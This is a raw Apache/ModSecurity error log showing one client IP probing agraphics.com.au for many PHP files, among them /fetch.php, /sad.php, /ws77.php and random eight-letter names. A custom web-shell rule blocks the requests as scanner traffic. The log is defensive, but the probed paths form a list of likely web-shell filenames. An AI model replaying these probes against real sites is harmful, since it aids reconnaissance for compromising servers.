[Sat Apr 18 23:19:07.101328 2026] [:error] [pid 34290:tid 34338] [client 20.203.141.81:61775] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fetch.php"] [unique_id "aeOg6xqX6WpmmAXOBi8vjAAAAdM"]
[Sat Apr 18 23:19:07.839373 2026] [:error] [pid 13023:tid 13025] [client 20.203.141.81:58555] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fetch.php"] [unique_id "aeOg6_1e7hG8DAeABB9LqQAAAQA"]
[Sat Apr 18 23:19:08.777397 2026] [:error] [pid 9970:tid 9987] [client 20.203.141.81:61815] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fetch.php"] [unique_id "aeOg7CYdRLRhVmaIMx3uJwAAAM0"]
[Sat Apr 18 23:19:09.427357 2026] [:error] [pid 9970:tid 9991] [client 20.203.141.81:51756] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jnhddqyz.php"] [unique_id "aeOg7SYdRLRhVmaIMx3uKwAAANE"]
[Sat Apr 18 23:19:09.995347 2026] [:error] [pid 9970:tid 9975] [client 20.203.141.81:64232] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jnhddqyz.php"] [unique_id "aeOg7SYdRLRhVmaIMx3uLgAAAME"]
[Sat Apr 18 23:19:10.594589 2026] [:error] [pid 13023:tid 13047] [client 20.203.141.81:32200] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jnhddqyz.php"] [unique_id "aeOg7v1e7hG8DAeABB9LsQAAARY"]
[Sat Apr 18 23:19:12.129855 2026] [:error] [pid 13023:tid 13038] [client 20.203.141.81:58542] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jnhddqyz.php"] [unique_id "aeOg8P1e7hG8DAeABB9LtAAAAQ0"]
[Sat Apr 18 23:19:13.319381 2026] [:error] [pid 9865:tid 9951] [client 20.203.141.81:7341] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin_bkp.php"] [unique_id "aeOg8azb5knECIY-C-irLAAAAI4"]
[Sat Apr 18 23:19:14.318131 2026] [:error] [pid 13023:tid 13044] [client 20.203.141.81:64249] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin_bkp.php"] [unique_id "aeOg8v1e7hG8DAeABB9LtwAAARM"]
[Sat Apr 18 23:19:15.339517 2026] [:error] [pid 9970:tid 9992] [client 20.203.141.81:31031] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin_bkp.php"] [unique_id "aeOg8yYdRLRhVmaIMx3uOwAAANI"]
[Sat Apr 18 23:19:16.226977 2026] [:error] [pid 9970:tid 9981] [client 20.203.141.81:32230] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin_bkp.php"] [unique_id "aeOg9CYdRLRhVmaIMx3uQAAAAMc"]
[Sat Apr 18 23:19:16.968320 2026] [:error] [pid 9970:tid 9988] [client 20.203.141.81:32771] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/l10n.php"] [unique_id "aeOg9CYdRLRhVmaIMx3uQgAAAM4"]
[Sat Apr 18 23:19:17.666920 2026] [:error] [pid 9970:tid 9977] [client 20.203.141.81:7456] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/l10n.php"] [unique_id "aeOg9SYdRLRhVmaIMx3uRAAAAMM"]
[Sat Apr 18 23:19:18.339624 2026] [:error] [pid 9865:tid 9940] [client 20.203.141.81:7929] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/l10n.php"] [unique_id "aeOg9qzb5knECIY-C-irMAAAAIM"]
[Sat Apr 18 23:19:19.034251 2026] [:error] [pid 13023:tid 13044] [client 20.203.141.81:63706] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/l10n.php"] [unique_id "aeOg9_1e7hG8DAeABB9LwwAAARM"]
[Sat Apr 18 23:19:19.626192 2026] [:error] [pid 9865:tid 9960] [client 20.203.141.81:54784] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abpxrnwe.php"] [unique_id "aeOg96zb5knECIY-C-irMwAAAJc"]
[Sat Apr 18 23:19:20.533011 2026] [:error] [pid 34290:tid 34336] [client 20.203.141.81:51772] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abpxrnwe.php"] [unique_id "aeOg-BqX6WpmmAXOBi8vkQAAAdE"]
[Sat Apr 18 23:19:21.396157 2026] [:error] [pid 9865:tid 9941] [client 20.203.141.81:56980] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abpxrnwe.php"] [unique_id "aeOg-azb5knECIY-C-irOAAAAIQ"]
[Sat Apr 18 23:19:22.169052 2026] [:error] [pid 9970:tid 9980] [client 20.203.141.81:8183] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abpxrnwe.php"] [unique_id "aeOg-iYdRLRhVmaIMx3uRwAAAMY"]
[Sat Apr 18 23:19:22.714916 2026] [:error] [pid 34290:tid 34334] [client 20.203.141.81:37909] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abalqdol.php"] [unique_id "aeOg-hqX6WpmmAXOBi8vlQAAAc8"]
[Sat Apr 18 23:19:23.402139 2026] [:error] [pid 32647:tid 32656] [client 20.203.141.81:57015] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abalqdol.php"] [unique_id "aeOg-0kxooM0iRo6e541VAAAAgY"]
[Sat Apr 18 23:19:24.474943 2026] [:error] [pid 9864:tid 9905] [client 20.203.141.81:63731] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abalqdol.php"] [unique_id "aeOg_ICFeowknfXHM7k3FAAAAEA"]
[Sat Apr 18 23:19:24.977264 2026] [:error] [pid 9864:tid 9912] [client 20.203.141.81:61821] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abalqdol.php"] [unique_id "aeOg_ICFeowknfXHM7k3FQAAAEY"]
[Sat Apr 18 23:19:25.527413 2026] [:error] [pid 13023:tid 13029] [client 20.203.141.81:61795] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aqotrjkg.php"] [unique_id "aeOg_f1e7hG8DAeABB9LzQAAAQQ"]
[Sat Apr 18 23:19:26.079252 2026] [:error] [pid 9970:tid 9993] [client 20.203.141.81:61813] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aqotrjkg.php"] [unique_id "aeOg_iYdRLRhVmaIMx3uSgAAANM"]
[Sat Apr 18 23:19:26.771394 2026] [:error] [pid 13023:tid 13027] [client 20.203.141.81:7316] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aqotrjkg.php"] [unique_id "aeOg_v1e7hG8DAeABB9L0QAAAQI"]
[Sat Apr 18 23:19:27.774579 2026] [:error] [pid 9970:tid 9998] [client 20.203.141.81:31002] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aqotrjkg.php"] [unique_id "aeOg_yYdRLRhVmaIMx3uUAAAANg"]
[Sat Apr 18 23:19:28.659033 2026] [:error] [pid 9865:tid 9959] [client 20.203.141.81:31033] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bhigtouj.php"] [unique_id "aeOhAKzb5knECIY-C-irQgAAAJY"]
[Sat Apr 18 23:19:29.399612 2026] [:error] [pid 13023:tid 13049] [client 20.203.141.81:61807] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bhigtouj.php"] [unique_id "aeOhAf1e7hG8DAeABB9L1QAAARg"]
[Sat Apr 18 23:19:30.064414 2026] [:error] [pid 9970:tid 9992] [client 20.203.141.81:31004] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bhigtouj.php"] [unique_id "aeOhAiYdRLRhVmaIMx3uVAAAANI"]
[Sat Apr 18 23:19:30.612367 2026] [:error] [pid 9970:tid 9997] [client 20.203.141.81:58525] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bhigtouj.php"] [unique_id "aeOhAiYdRLRhVmaIMx3uVgAAANc"]
[Sat Apr 18 23:19:31.235715 2026] [:error] [pid 9970:tid 9990] [client 20.203.141.81:41201] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bxhnfdgd.php"] [unique_id "aeOhAyYdRLRhVmaIMx3uWQAAANA"]
[Sat Apr 18 23:19:31.865778 2026] [:error] [pid 32678:tid 32710] [client 20.203.141.81:31028] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bxhnfdgd.php"] [unique_id "aeOhAxUlAXU_ZWUu5y8YdwAAAoM"]
[Sat Apr 18 23:19:32.887323 2026] [:error] [pid 13023:tid 13040] [client 20.203.141.81:32253] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bxhnfdgd.php"] [unique_id "aeOhBP1e7hG8DAeABB9L3gAAAQ8"]
[Sat Apr 18 23:19:37.300672 2026] [:error] [pid 9970:tid 9983] [client 20.203.141.81:54828] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bxhnfdgd.php"] [unique_id "aeOhCSYdRLRhVmaIMx3uagAAAMk"]
[Sat Apr 18 23:19:38.294016 2026] [:error] [pid 32647:tid 32654] [client 20.203.141.81:8147] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccrheegr.php"] [unique_id "aeOhCkkxooM0iRo6e541WAAAAgQ"]
[Sat Apr 18 23:20:47.696382 2026] [proxy_fcgi:error] [pid 9970:tid 9979] [client 20.203.141.81:58557] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:20:47.976041 2026] [proxy_fcgi:error] [pid 9970:tid 9981] [client 20.203.141.81:58557] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:20:48.244496 2026] [proxy_fcgi:error] [pid 9970:tid 9990] [client 20.203.141.81:58557] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:20:48.516986 2026] [proxy_fcgi:error] [pid 9970:tid 9996] [client 20.203.141.81:58557] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:20:48.756665 2026] [proxy_fcgi:error] [pid 9970:tid 9987] [client 20.203.141.81:58557] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:20:49.027273 2026] [proxy_fcgi:error] [pid 9970:tid 9985] [client 20.203.141.81:58557] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:20:49.544180 2026] [proxy_fcgi:error] [pid 9970:tid 9977] [client 20.203.141.81:58557] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:20:49.799418 2026] [proxy_fcgi:error] [pid 9970:tid 9974] [client 20.203.141.81:58557] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:20:50.080972 2026] [proxy_fcgi:error] [pid 9970:tid 9988] [client 20.203.141.81:58557] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:20:53.313990 2026] [:error] [pid 9970:tid 9978] [client 20.203.141.81:58557] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xigmltad.php"] [unique_id "aeOhVSYdRLRhVmaIMx3u-AAAAMQ"]
[Sat Apr 18 23:21:02.216044 2026] [:error] [pid 32678:tid 32730] [client 20.203.141.81:32247] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xigmltad.php"] [unique_id "aeOhXhUlAXU_ZWUu5y8YyAAAApc"]
[Sat Apr 18 23:21:03.358716 2026] [:error] [pid 34290:tid 34343] [client 20.203.141.81:7918] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xigmltad.php"] [unique_id "aeOhXxqX6WpmmAXOBi8vswAAAdg"]
[Sat Apr 18 23:21:04.178387 2026] [:error] [pid 9865:tid 9943] [client 20.203.141.81:41729] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xigmltad.php"] [unique_id "aeOhYKzb5knECIY-C-irogAAAIY"]
[Sat Apr 18 23:21:04.834094 2026] [:error] [pid 9865:tid 9938] [client 20.203.141.81:64242] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lb.php"] [unique_id "aeOhYKzb5knECIY-C-irpQAAAIE"]
[Sat Apr 18 23:21:05.667979 2026] [:error] [pid 9863:tid 9888] [client 20.203.141.81:31005] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lb.php"] [unique_id "aeOhYTjjiypiFrTucbLcHgAAAA8"]
[Sat Apr 18 23:21:06.199271 2026] [:error] [pid 32678:tid 32716] [client 20.203.141.81:41168] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lb.php"] [unique_id "aeOhYhUlAXU_ZWUu5y8YzQAAAok"]
[Sat Apr 18 23:21:06.970525 2026] [:error] [pid 13023:tid 13033] [client 20.203.141.81:37905] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lb.php"] [unique_id "aeOhYv1e7hG8DAeABB9MHQAAAQg"]
[Sat Apr 18 23:21:07.769509 2026] [:error] [pid 13023:tid 13045] [client 20.203.141.81:32195] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeOhY_1e7hG8DAeABB9MIQAAARQ"]
[Sat Apr 18 23:21:08.422047 2026] [:error] [pid 32647:tid 32669] [client 20.203.141.81:32223] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeOhZEkxooM0iRo6e541eAAAAhM"]
[Sat Apr 18 23:21:09.249294 2026] [:error] [pid 9864:tid 9906] [client 20.203.141.81:64192] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeOhZYCFeowknfXHM7k3TQAAAEE"]
[Sat Apr 18 23:21:10.107508 2026] [:error] [pid 9864:tid 9910] [client 20.203.141.81:61806] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeOhZoCFeowknfXHM7k3TgAAAEU"]
[Sat Apr 18 23:21:11.050023 2026] [:error] [pid 32677:tid 32695] [client 20.203.141.81:7893] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad.php"] [unique_id "aeOhZxngmUE3LdC-wP712AAAAk8"]
[Sat Apr 18 23:21:11.951479 2026] [:error] [pid 13023:tid 13040] [client 20.203.141.81:51764] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad.php"] [unique_id "aeOhZ_1e7hG8DAeABB9MJgAAAQ8"]
[Sat Apr 18 23:21:12.625061 2026] [:error] [pid 13023:tid 13034] [client 20.203.141.81:7486] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad.php"] [unique_id "aeOhaP1e7hG8DAeABB9MKQAAAQk"]
[Sat Apr 18 23:21:14.105699 2026] [:error] [pid 13023:tid 13049] [client 20.203.141.81:63714] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad.php"] [unique_id "aeOhav1e7hG8DAeABB9MMgAAARg"]
[Sat Apr 18 23:21:14.734495 2026] [:error] [pid 9863:tid 9884] [client 20.203.141.81:61771] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws77.php"] [unique_id "aeOhajjjiypiFrTucbLcHwAAAAs"]
